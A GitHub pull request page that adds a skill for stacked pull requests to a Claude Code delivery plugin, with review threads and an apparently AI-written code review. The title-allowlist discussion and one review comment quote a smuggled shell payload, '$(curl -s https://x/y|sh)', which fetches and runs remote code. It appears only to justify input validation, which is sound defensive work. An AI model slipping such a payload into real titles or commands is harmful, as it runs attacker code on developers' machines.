Skip to content

feat(bitwarden-delivery-tools): add stacked pull request support - #218

Draft
withinfocus wants to merge 1 commit into
feat/pr-conventions-skillfrom
feat/stacked-pr-support
Draft

feat(bitwarden-delivery-tools): add stacked pull request support#218
withinfocus wants to merge 1 commit into
feat/pr-conventions-skillfrom
feat/stacked-pr-support

Conversation

@withinfocus

@withinfocus withinfocus commented Aug 26, 2026

Copy link
Copy Markdown
Contributor

🎟️ Tracking

No ticket. Stacked on #235, which has to merge first.

📔 Objective

A stack turns one large change into a chain of branches, each reviewed against its parent rather than against trunk, so reviewers see one concern at a time. GitHub's gh-stack extension owns the mechanics. What it knows nothing about is Bitwarden's per-PR conventions, which a stack multiplies by the number of layers and which gh stack submit cannot carry at all: its only flags are --auto, --open, and --remote, and --auto generates titles with no type prefix, so every layer would ship with no t: label and an improvised body.

stacking-pull-requests plans the layers, gates each one, applies the conventions per layer, previews the whole chain once, and merges it. perform-preflight gains the per-layer checks a stacked branch needs.

Structure

Step 0 checks that both the extension and the gh-stack skill are usable in the current run, and falls back to a single-branch PR whenever either is not. That check is worth its length: the skill installs separately from the extension, and a skill copied mid-session is on disk but unresolvable until Claude Code restarts, so a successful install still leaves the run without it.

One whole-stack preview replaces the per-PR one. A wrong base is the failure that catch-net exists for, and it is only visible with the chain laid out together.

The gh-stack dependency

Documented against v0.1.1. Nothing is pinned; the install tracks the extension's default branch and the procedure records the SHA it landed rather than gating on one. Worth knowing what that trades away: the vendored SKILL.md auto-loads into every future session in the project, so reading it before installing is now the only control on that content. The install procedure says so, and v0.1.1 makes it a shorter read at roughly 180 lines, down from about 890.

One v0.1.1 behavior change matters here: gh stack add on a non-stack branch now offers to initialize a stack interactively. Step 1 uses gh stack init explicitly, because a prompt nobody answers hangs the run.

Notes for review

stacking-pull-requests/evals/ has no committed baseline. Its runner is now a copy of the filing-breakdown-tasks one rather than the fork it started as, so the earlier divergence in that directory is gone. A baseline can be recorded from the working tree since the runner takes --plugin-dir.

The open thread on committing-changes is still open on purpose. Its body is byte-identical to main now; the only remaining change is a one-line description boundary, and I asked whether that should go too.

The ai-review label is unset. Tell me which you want and I will add it.

@withinfocus withinfocus added the ai-review Request a Claude code review label Aug 26, 2026
@github-actions

github-actions Bot commented Aug 26, 2026

Copy link
Copy Markdown

🤖 Bitwarden Claude Code Review

Overall Assessment: REQUEST CHANGES

Reviewed at head 5196ee2 against this PR's stacked base feat/pr-conventions-skill (#235): the new stacking-pull-requests skill and its two reference files, the perform-preflight Stacked Branches section and restructured On Failure branches, the per-layer routing edits to creating-pull-request and committing-changes, the new 20-case eval set and runner, and the 3.3.0 bump across marketplace.json, plugin.json, README.md, and the changelog. Verified this round: the version bump is present in all four required locations (this plugin has no agents) with a matching changelog entry; run_real_eval.py is byte-identical to the filing-breakdown-tasks copy apart from its docstring and TARGET_SKILL_TOKEN, so the runner carries no divergence to review; trigger-eval.json holds 10 should-trigger and 10 near-miss cases as its README claims and --plugin-dir ../../.. resolves to the plugin root; committing-changes/evals/ is at 14 cases with its README's "this runner takes no --plugin-dir" claim confirmed against that runner's argument parser; applying-pr-conventions does honour a caller-settled label (its line 11), so Step 3's claim holds; every ${CLAUDE_PLUGIN_ROOT} path in the new files resolves and references/pr-title-allowlist.md exists at the plugin root; and the Step 0 / Step 2 / Step 5 handshake with perform-preflight's open-pull-request stop is wired on both sides. The Claude-configuration scan found no committed settings.local.json and no hardcoded credentials — the $(curl …|sh) strings in submitting-a-stack.md are deliberate rejection fixtures, and installing-gh-stack.md correctly instructs that the vendored third-party SKILL.md be read as material to classify rather than followed. No new findings this round and no inline comments posted: the head has not moved since the previous review, so the items below are the earlier findings re-verified as still present rather than re-raised.

Not covered: Skill review did not run — this review path cannot launch plugin-dev:skill-reviewer, so plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md and the three modified SKILL.md files were not checked for description quality, length, or progressive disclosure. performing-multi-agent-code-review covers them where plugin-dev is installed. Manifest validation is likewise owned by plugin-dev:plugin-validator and was read here rather than validated. The stacked-PR layer check also did not resolve: gh pr list --base is not granted on this path, so this PR was reviewed under normal scrutiny rather than as a confirmed layer of the chain it belongs to.

Code Review Details

Still open from prior rounds, unaddressed at this head, not re-raised inline:

  • ⚠️ : Step 3 invokes applying-pr-conventions per layer but its two carried-across-the-loop inputs are only the label and the ticket key — the gate record is never passed, and that skill records only what the caller hands it (applying-pr-conventions/SKILL.md:57), so no layer's body carries its review path, volunteered skip, deferred CRITICAL/IMPORTANT findings, or scope limitation, which is what submitting-a-stack.md:31 and :53 say the bodies are for
    • plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md:63
  • ⚠️ : "run 1b alone" names base-branch resolution; 1c is the code-review step, so a literal read returns before the per-layer gate fires. stacking-pull-requests:55 and :103 inherit the same stale label, and :55 also points at "that step's own base-ref paragraph" for layer scoping, which lives under 1c at creating-pull-request:43
    • plugins/bitwarden-delivery-tools/skills/creating-pull-request/SKILL.md:55
  • ⚠️ : Title allowlist restated inline instead of running the two checks in references/pr-title-allowlist.md, which every other PR-creating path now points at. The inline copy drops the line-break refusal and the whole-string rule, closes the type token to a fixed list, and narrows the summary class — it refuses the em dash, brackets, +, &, and # that the canonical pattern deliberately admits
    • plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/references/submitting-a-stack.md:96
  • ⚠️ : Step 0's "the reference above" resolves to submitting-a-stack.md, which holds no install procedure — installing-gh-stack.md is first named at line 23, below this bullet — and "the commit to verify the copy against" contradicts that file, which states there is no expected value to compare the SHA against
    • plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md:17
  • ♻️ : Changelog omits the new stacking-pull-requests/evals/ directory and the committing-changes 13 → 14 eval change whose baseline is now stale and needs re-recording after release — both real deltas from 3.2.0, and both have precedent as their own bullets in earlier releases
    • plugins/bitwarden-delivery-tools/CHANGELOG.md:19
  • 🎨 : The edit a layer and change the label confirmation options carry no procedure, so "change the label" invites re-entering applying-pr-conventions per layer, which would recompose all N titles and bodies and discard any layer edit just applied
    • plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md:105
  • ❓ : New external gh-stack dependency with no AppSec or VULN signal in the description, cloned unpinned from the extension's default branch into a version-controlled .claude/skills/ that auto-loads every session. Whether the Dependency Review and Approval process applies to a non-manifest dependency of this shape is a call for AppSec rather than for this review
    • plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/references/installing-gh-stack.md:44

The committing-changes thread from @SaintPatrck is open by the author's stated intent, awaiting his call on whether the description boundary should go too. No dependency manifest or lock files changed in this PR, so no dependency table applies.

Comment thread plugins/bitwarden-delivery-tools/skills/creating-pull-request/SKILL.md Outdated
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from eda42c0 to 73176c6 Compare August 27, 2026 13:22
Comment thread plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/evals/README.md Outdated
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from 73176c6 to d2f763c Compare August 27, 2026 13:36
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from d2f763c to a7a868a Compare August 27, 2026 13:56
Comment thread plugins/bitwarden-delivery-tools/skills/creating-pull-request/SKILL.md Outdated
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from a7a868a to efaeccc Compare August 27, 2026 14:15
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from efaeccc to 80a356d Compare August 27, 2026 14:30
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from 80a356d to 98dedc0 Compare August 27, 2026 14:31
Comment thread plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md Outdated
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from 98dedc0 to 677b665 Compare August 27, 2026 14:53
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from 677b665 to b3a8547 Compare August 27, 2026 15:10
@withinfocus
withinfocus force-pushed the feat/stacked-pr-support branch from b3a8547 to 382b8a1 Compare August 27, 2026 15:32
Comment thread plugins/bitwarden-delivery-tools/skills/committing-changes/evals/README.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/perform-preflight/SKILL.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/perform-preflight/SKILL.md Outdated
Comment thread plugins/bitwarden-delivery-tools/CHANGELOG.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/perform-preflight/SKILL.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md Outdated
Comment thread plugins/bitwarden-delivery-tools/CHANGELOG.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/stacking-pull-requests/SKILL.md Outdated
Update error handling in login flow
```

In a stack every layer becomes its own pull request, so "first commit on a branch" means per layer: each layer's first commit carries the full format, and the type keyword is chosen for that layer rather than inherited from the layer below.

@SaintPatrck SaintPatrck Sep 4, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My understanding is stacks require separate unique branches. Why do we need to introduce a layers concept and define what a first commit is here?

Also a little concerning that we're leaking behavior of a very specific GitHub feature into a skill that's only supposed to be responsible for committing changes.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Both points are right, and the second is broader than this line.

On the first: a stack layer is a branch, so the existing rule one paragraph up — "Only the first commit on a branch needs the full format" — already resolves per layer with nothing added. The sentence defined a term that was never ambiguous. The only clause that looked like new information (type keyword chosen per layer, not inherited) was already stated twice in stacking-pull-requests, in the Step 3 table and the bullet under it.

On the leak: it was in four places, not one. The description, this line, the Pre-Commit Quality Gate paragraph, and a new eval case. Removing only this line would have left the concern mostly intact, so I removed the lot — committing-changes' body is now byte-identical to main.

One piece did carry weight, and I moved it rather than dropped it. If someone invokes committing-changes directly while sitting on a lower layer that already has an open PR, stacking-pull-requests is not running and nothing catches it; the fix belongs to its Step 5, which rebases and force-pushes the layers above behind a confirmation. That guard now lives in perform-preflight's Stacked Branches section, which committing-changes already ran before staging on main. So the skill stays stack-ignorant and inherits stack awareness through a call it was already making.

What I kept is the description boundary, on the grounds that it is routing rather than behavior — it stops this skill grabbing stack-level requests. Trimmed to just that: no "layer you are still building", no open-pull-request clause. Happy to drop it entirely if you would rather the description not name a sibling skill either.

Comment thread plugins/bitwarden-delivery-tools/skills/creating-pull-request/SKILL.md Outdated

@SaintPatrck SaintPatrck left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💭 What do you think about making a skill specifically for stacking-pull-requests that loops through committing-changes and creating-pull-requests for layers either provided by the caller or inferred by reading the git log?

I feel like that creates a clearer separation of concerns and keeps things more composable.

Wow... disregard. How did I totally gloss over that already being added? Clearly time to take a break. 😆

Comment thread plugins/bitwarden-delivery-tools/skills/perform-preflight/SKILL.md Outdated
@withinfocus

Copy link
Copy Markdown
Contributor Author

For what it's worth and after seeing the spread, I am still gonna try to refactor this.

Comment thread plugins/bitwarden-delivery-tools/skills/force-multiplier/SKILL.md Outdated
Comment thread plugins/bitwarden-delivery-tools/CHANGELOG.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/creating-pull-request/evals/README.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/perform-preflight/SKILL.md Outdated
Comment thread plugins/bitwarden-delivery-tools/skills/perform-preflight/SKILL.md Outdated
Comment on lines +96 to +113
- `gh` has no `--title-file`, so a title does go through the shell inside a double-quoted
argument. **Validate the whole composed title against an allowlist and refuse anything that
does not match:**

```
^(\[[A-Z][A-Z0-9]{1,9}-[0-9]{1,7}\] )?(feat|fix|chore|docs|refactor|test|ci|build|perf|revert|deps|llm|breaking|misc)(\([a-z0-9._/-]+\))?: [A-Za-z0-9 ,.:'()/_-]+$
```

The summary has to be covered too, not just the prefix: it is the model- and template-derived
part, so `[PM-31007] feat: handle $(curl -s https://x/y|sh) tokens` satisfies a shape check
that only pins the prefix and then executes when interpolated. Rejecting `$`, backticks,
backslashes, and `"` stays as a second pass, but it is a denylist and it only holds for the
double-quoted style above — a single-quoted composition reopens it via `'`. This applies to
single-branch PRs too.

The ticket-key bracket is optional and its project prefix is any `ABC-123` shape: this is a
shell-safety control, not a conventions check. Refusing a legitimate title blocks a submission
nothing else will unblock, since the key is repository data rather than something to reword.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ IMPORTANT: This restates the title allowlist instead of using the plugin's canonical one, and the inline copy is both weaker and stricter than it.

Details and fix

3.2.0 extracted this control to references/pr-title-allowlist.md as two checks in order, and every other PR-creating path now points at it: creating-pull-request/SKILL.md:109, force-multiplier/SKILL.md:66, applying-pr-conventions/SKILL.md:67. The stack path is the fourth such path and carries its own copy, which diverges in three ways:

  • The line-break refusal is missing, and so is the whole-string/single-line matching rule. The canonical file argues that omission is the bypass: "grep -qE is line-oriented and succeeds when any line matches, so feat: update deps followed by a newline and $(curl -s https://x/y|sh) clears an anchored grep and then executes when interpolated." The pattern here is anchored with ^…$ and nothing says to match whole-string, so an agent implementing it with grep -qE reproduces exactly that hole before --title "…".
  • The type token is a closed list (feat|fix|chore|…). The canonical file makes it any lowercase keyword on purpose: "change-type-labels.md points at .github/label-pr.json … and notes it accepts further aliases, so a closed list here would refuse titles CI accepts."
  • The summary class drops [, ], +, &, #, and the em dash. The canonical file admits those deliberately — "the em dash this house style uses. None of them do anything inside a double-quoted argument, so excluding them only produces false refusals." A layer title with an em dash passes applying-pr-conventions (Step 3) and is then refused here, after the Step 4 preview was confirmed, which is the refusal the canonical file says "nothing else can unblock."

Pointing at the one file also picks up its refusal-reporting rule and keeps the control from drifting a second time:

Suggested change
- `gh` has no `--title-file`, so a title does go through the shell inside a double-quoted
argument. **Validate the whole composed title against an allowlist and refuse anything that
does not match:**
```
^(\[[A-Z][A-Z0-9]{1,9}-[0-9]{1,7}\] )?(feat|fix|chore|docs|refactor|test|ci|build|perf|revert|deps|llm|breaking|misc)(\([a-z0-9._/-]+\))?: [A-Za-z0-9 ,.:'()/_-]+$
```
The summary has to be covered too, not just the prefix: it is the model- and template-derived
part, so `[PM-31007] feat: handle $(curl -s https://x/y|sh) tokens` satisfies a shape check
that only pins the prefix and then executes when interpolated. Rejecting `$`, backticks,
backslashes, and `"` stays as a second pass, but it is a denylist and it only holds for the
double-quoted style above — a single-quoted composition reopens it via `'`. This applies to
single-branch PRs too.
The ticket-key bracket is optional and its project prefix is any `ABC-123` shape: this is a
shell-safety control, not a conventions check. Refusing a legitimate title blocks a submission
nothing else will unblock, since the key is repository data rather than something to reword.
- `gh` has no `--title-file`, so a title does go through the shell inside a double-quoted
argument. Run the two checks in `${CLAUDE_PLUGIN_ROOT}/references/pr-title-allowlist.md`
against every composed title and refuse anything that fails — the line-break refusal
first, then the whole-string match. That file explains why the check has to cover the
summary and not just the `<type>:` prefix, what it deliberately admits so a legitimate
title is never refused, and what to do on a refusal. This applies to single-branch PRs
too.

Worth adding the stack path to that file's "Who uses this" list in the same edit.

Stacks depend on an external extension that is not installed by default, plus the skill that ships with it. Check both before planning anything, because a plan built on unavailable tooling wastes the planning.

- **Extension.** `gh extension list` must show a `github/gh-stack` row. If it is absent, offer `gh extension install github/gh-stack`. An install counts immediately: `gh extension list` reflects it in this run.
- **Skill.** A `gh-stack` skill must be resolvable — from a plugin, a `--plugin-dir` load, or a `SKILL.md` at `.claude/skills/gh-stack/` or `~/.claude/skills/gh-stack/`. Check the available-skills listing for the name. Fall back to `Glob` over those two paths only if the name is absent there, and only to tell _not installed_ apart from _installed but not yet loaded_ — a `Glob` hit is never grounds for continuing. Do not probe by invoking `Skill(gh-stack)`: invoking a missing skill is itself an error, inside a gate whose job is to fail cleanly into the fallback. `gh extension install` fetches only a binary and never places the skill, so it installs separately; the reference above has that procedure and the commit to verify the copy against.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ IMPORTANT: "the reference above" resolves to the wrong file, and the commit it promises does not exist.

Details and fix

Two problems in the closing clause:

  • The pointer dangles. installing-gh-stack.md is first named at line 23, below this bullet. The only reference named above it is submitting-a-stack.md (line 10), which contains no install procedure. So the one gate whose remedy must not be improvised leaves the agent with either the wrong file or nothing — the same gap the plugin README thread closed earlier in this PR ("the agent has to improvise the one thing Step 0 exists to avoid improvising").
  • "the commit to verify the copy against" contradicts the procedure. installing-gh-stack.md says the opposite: "Note the SHA the clone reports and state it when you tell the user what was installed. There is no expected value to compare it against: this tracks the extension's default branch rather than a pinned release, so the SHA is a record of what landed, not a gate." The clause reads as though a verification value exists, which survived from the pinned-v0.1.0 version the PR description says was dropped.

Naming the file and matching what it actually says fixes both:

Suggested change
- **Skill.** A `gh-stack` skill must be resolvable — from a plugin, a `--plugin-dir` load, or a `SKILL.md` at `.claude/skills/gh-stack/` or `~/.claude/skills/gh-stack/`. Check the available-skills listing for the name. Fall back to `Glob` over those two paths only if the name is absent there, and only to tell _not installed_ apart from _installed but not yet loaded_ — a `Glob` hit is never grounds for continuing. Do not probe by invoking `Skill(gh-stack)`: invoking a missing skill is itself an error, inside a gate whose job is to fail cleanly into the fallback. `gh extension install` fetches only a binary and never places the skill, so it installs separately; the reference above has that procedure and the commit to verify the copy against.
- **Skill.** A `gh-stack` skill must be resolvable — from a plugin, a `--plugin-dir` load, or a `SKILL.md` at `.claude/skills/gh-stack/` or `~/.claude/skills/gh-stack/`. Check the available-skills listing for the name. Fall back to `Glob` over those two paths only if the name is absent there, and only to tell _not installed_ apart from _installed but not yet loaded_ — a `Glob` hit is never grounds for continuing. Do not probe by invoking `Skill(gh-stack)`: invoking a missing skill is itself an error, inside a gate whose job is to fail cleanly into the fallback. `gh extension install` fetches only a binary and never places the skill, so it installs separately; `${CLAUDE_PLUGIN_ROOT}/skills/stacking-pull-requests/references/installing-gh-stack.md` has that procedure, including the SHA to record for what landed and the pre-install read that is the only control on that content.

### Changed

- `creating-pull-request`: routes chain requests to `stacking-pull-requests`, and accepts a single pull request back from it when the stack path is unavailable. Its review gate runs per layer when that skill drives it.
- `applying-pr-conventions`: invoked once per layer by the stack path.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

♻️ DEBT: The eval changes in this release have no entry, including one stale baseline a reader has to re-record.

Details and fix

Two net changes against 3.2.0 are unrecorded, and both have precedent in this file:

  • committing-changes evals went 13 → 14 cases and its baseline is now stale. committing-changes/evals/README.md says so itself — "stale as of the stack-scope description change: it holds 13 results against the current 14 queries … Record the baseline after this version ships, not before." Nobody re-records what the changelog does not mention, and 3.2.0 carries exactly this bullet shape for creating-pull-request (line 33).
  • skills/stacking-pull-requests/evals/ is new with no committed baseline. 3.1.0 lists the equivalent addition as its own Added bullet ("filing-breakdown-tasks trigger eval (skills/filing-breakdown-tasks/evals/)").

Neither is branch-internal churn — both are real deltas from 3.2.0, so they do not fall in the class corrected earlier in this review. The Added bullet at line 12 can absorb the evals directory; this one covers the baseline:

Suggested change
- `applying-pr-conventions`: invoked once per layer by the stack path.
- `applying-pr-conventions`: invoked once per layer by the stack path.
- `committing-changes` evals: 14 cases, adding a should-trigger case for a commit on a stack layer. Baseline needs re-recording after release — that runner loads the installed cache.

Each review path checks its own prerequisites and reports what to install if something is missing. If a path can't run, install what it reports or fall back to the other path and note the limitation in the PR body. If neither path is available, stop and prompt the user to install `bitwarden-code-review` (`/plugin install bitwarden-code-review@bitwarden-marketplace`) before continuing. Never silently skip the review.

**This gate runs on every entry.** There is no caller exemption. A skill that wants the title, body, and label rather than this whole workflow should invoke `Skill(applying-pr-conventions)` directly, which is what `force-multiplier` does; `force-multiplier` is therefore a peer of this workflow rather than a caller of it.
**One thing another delivery skill may do with this step:** run 1b alone. `stacking-pull-requests` does, once per layer, because the review gate is per pull request and a stack has N of them. It runs `perform-preflight` itself per layer, so do not also run 1a, and return after 1b rather than continuing into Step 2.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ IMPORTANT: "run 1b alone" names base-branch resolution, not the code-review gate — followed literally, the per-layer review never runs.

Details and fix

In this file 1a is preflight (line 22), 1b is "Resolve the base branch" (line 31), and 1c is "Run the code review" (line 36). This sentence means 1c on all three counts:

  • its own rationale is the review gate — "because the review gate is per pull request and a stack has N of them";
  • it excludes only 1a, on the grounds that the stack path runs perform-preflight itself;
  • "return after 1b rather than continuing into Step 2" only reads as terminal if 1b were the last sub-step of Step 1, which it is not.

So an agent following this returns after resolving a base branch, and stacking-pull-requests Step 2's second bullet — the gate that step exists for — never fires. Two call sites in the new skill inherit the same label: stacking-pull-requests/SKILL.md:55 ("The code-review gate from Skill(creating-pull-request) Step 1b, per layer") and :103 ("creating-pull-request Step 1b records a user-volunteered skip").

The label was accurate when this integration was first written — the review thread on this file from 2026-08-26 discusses "Step 1b" as the review step — and the 1a/1b/1c split landed on feat/pr-conventions-skill afterwards without these three call sites moving with it.

Suggested change
**One thing another delivery skill may do with this step:** run 1b alone. `stacking-pull-requests` does, once per layer, because the review gate is per pull request and a stack has N of them. It runs `perform-preflight` itself per layer, so do not also run 1a, and return after 1b rather than continuing into Step 2.
**One thing another delivery skill may do with this step:** run 1c alone. `stacking-pull-requests` does, once per layer, because the review gate is per pull request and a stack has N of them. It runs `perform-preflight` itself per layer and takes each layer's base from the stack rather than from 1b, so do not also run 1a or 1b, and return after 1c rather than continuing into Step 2.

Worth renaming the two stacking-pull-requests references to Step 1c in the same edit — line 55 there also points at "that step's own base-ref paragraph" for layer scoping, and the layer-scoping guidance is the paragraph at line 43 under 1c, not 1b's Review scope bullet.


Every layer carries its own review path and deferred-finding count, because `creating-pull-request` Step 1b records a user-volunteered skip and any deferred CRITICAL or IMPORTANT findings for surfacing at preview time, and this is the preview that replaces its Step 3. A skip on one layer must not be invisible behind a tick.

Confirm with `AskUserQuestion` before anything is pushed, offering submit / edit a layer / change the label / cancel. Only submit on an explicit confirmation, then follow `${CLAUDE_PLUGIN_ROOT}/skills/stacking-pull-requests/references/submitting-a-stack.md`.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎨 SUGGESTED: The two non-submit options carry no procedure, so "change the label" re-enters the loop that discards an "edit a layer" edit.

Details and fix

creating-pull-request Step 3 offers the same four options and spells out what each one does, including the guard this line drops:

Change ai-review label — ask the label question again here (ai-review, ai-review-vnext, No label), then redisplay the preview and re-ask. Do not re-enter Skill(applying-pr-conventions); it would recompose the title and body and discard any edit just applied

On a stack the hazard is N× larger and the natural move is worse. Step 3 here is the only place conventions are composed, and its label bullet keys the skip on the caller having "already settled it" — so changing the label means it is no longer settled, and re-invoking Skill(applying-pr-conventions) once per layer is the obvious way to re-ask. That recomposes every layer's title and body, discarding any edit made through the neighbouring edit a layer option, and re-triggers applying-pr-conventions Step 1's "show the proposed title to the user" N times — its skip is scoped to a caller that locked a title pattern for a set, which Step 3 explicitly says a stack does not do ("the type keyword is the opposite — chosen per layer").

Two clauses close it:

Confirm with AskUserQuestion before anything is pushed, offering submit / edit a layer / change the label / cancel. On edit a layer, apply the edit to that layer's stored title or body, then redisplay the whole preview and re-ask. On change the label, ask the label question here and apply the answer to every layer — do not re-enter Skill(applying-pr-conventions), which would recompose all N titles and bodies and discard any layer edit just applied. Only submit on an explicit confirmation, then follow ${CLAUDE_PLUGIN_ROOT}/skills/stacking-pull-requests/references/submitting-a-stack.md.


## Step 3 — Give every layer its Bitwarden conventions

Each layer is a pull request, so each layer needs the same conventions a single-branch PR does. Invoke `Skill(applying-pr-conventions)` **once per layer** to compose them.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ IMPORTANT: Step 3 never passes each layer's gate record to applying-pr-conventions, so no layer's body carries its deferred findings.

Details and fix

applying-pr-conventions/SKILL.md:52 composes the Objective section from what the caller hands it and nothing else:

Record in the Objective section whatever the caller passed in: the review path taken, any skip the user volunteered, every deferred CRITICAL or IMPORTANT finding, and any scope or path limitation on the review. Do not go looking for review results yourself, and do not state that a review happened when the caller said nothing about one.

This step is the only place the stack path composes a body, and it enumerates its per-loop inputs — the label and the ticket key — without naming that record. creating-pull-request Step 2 carries the matching sentence for the single-branch path ("Pass it what Step 1 produced, since it does not go looking for review results itself"), and that is the half missing here. Step 2's "Carry the review path and the deferred findings into that layer's PR body" names the destination, not the invocation that writes it.

What gets lost is exactly what the submission reference twice says these bodies are for — references/submitting-a-stack.md:31 and :53, "the bodies carry each layer's deferred CRITICAL and IMPORTANT findings" — plus the volunteered skip and creating-pull-request:43's "record in that layer's PR body that the review was not layer-scoped". Since applying-pr-conventions is also told not to claim a review happened when the caller said nothing, each layer ships a body silent on its own gate.

A third bullet alongside the two carried across the loop closes it, something like: the gate record — unlike the label and the ticket key, this one is per layer, so pass that layer's review path, any volunteered skip, its deferred CRITICAL and IMPORTANT findings, and any scope limitation into its own invocation; that skill records only what the caller passes and will not go looking.

Comment on lines +44 to +49
```bash
WORK="$(mktemp -d)" && echo "$WORK" \
&& git clone --depth 1 https://github.com/github/gh-stack "$WORK/gh-stack" \
&& git -C "$WORK/gh-stack" rev-parse HEAD \
&& ls "$WORK/gh-stack/skills/gh-stack/SKILL.md"
```

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

QUESTION: Has AppSec seen github/gh-stack, given this installs unpinned third-party instructions that auto-load into every session?

Why this is worth a human call

This release introduces a genuinely new external dependency — gh-stack appears nowhere in the repository before this change — and the integration is heavier than a typical library: the vendored skills/gh-stack/SKILL.md lands in a version-controlled .claude/skills/ and, as this file says twice, "auto-loads into every future session in this project". The PR description records that nothing is pinned and that the clone tracks the extension's default branch, with the pre-install read as the only control.

Bitwarden's Dependency Review and Approval process covers all new dependencies, and the PR description references no VULN task or AppSec sign-off. Two things a security engineer would likely want to weigh in on:

  • Whether the process applies here at all. It is not a manifest dependency, so it may fall outside the process by design — that is a call for AppSec rather than for this review.
  • Whether the clone should pin. git clone --depth 1 with no --branch/--revision means the content differs run to run, so the pre-install read validates one revision while the next engineer installs another, and the recorded SHA is a receipt rather than a gate. Adding --branch v0.1.1 would make the read reusable at the cost of manual bumps.

Not asking for a change — the tradeoff is documented and deliberate. Flagging it because approval and pinning are both decisions outside this diff.

A stack turns one large change into a chain of branches, each reviewed
against its parent rather than against trunk. GitHub's gh-stack extension
owns the mechanics; what it knows nothing about is Bitwarden's per-PR
conventions, which a stack multiplies by the number of layers and which
`gh stack submit` cannot carry at all.

`stacking-pull-requests` plans the layers, gates each one, applies the
conventions per layer, previews the whole chain once, and merges it.
`perform-preflight` gains the per-layer checks a stacked branch needs.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

ai-review Request a Claude code review

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants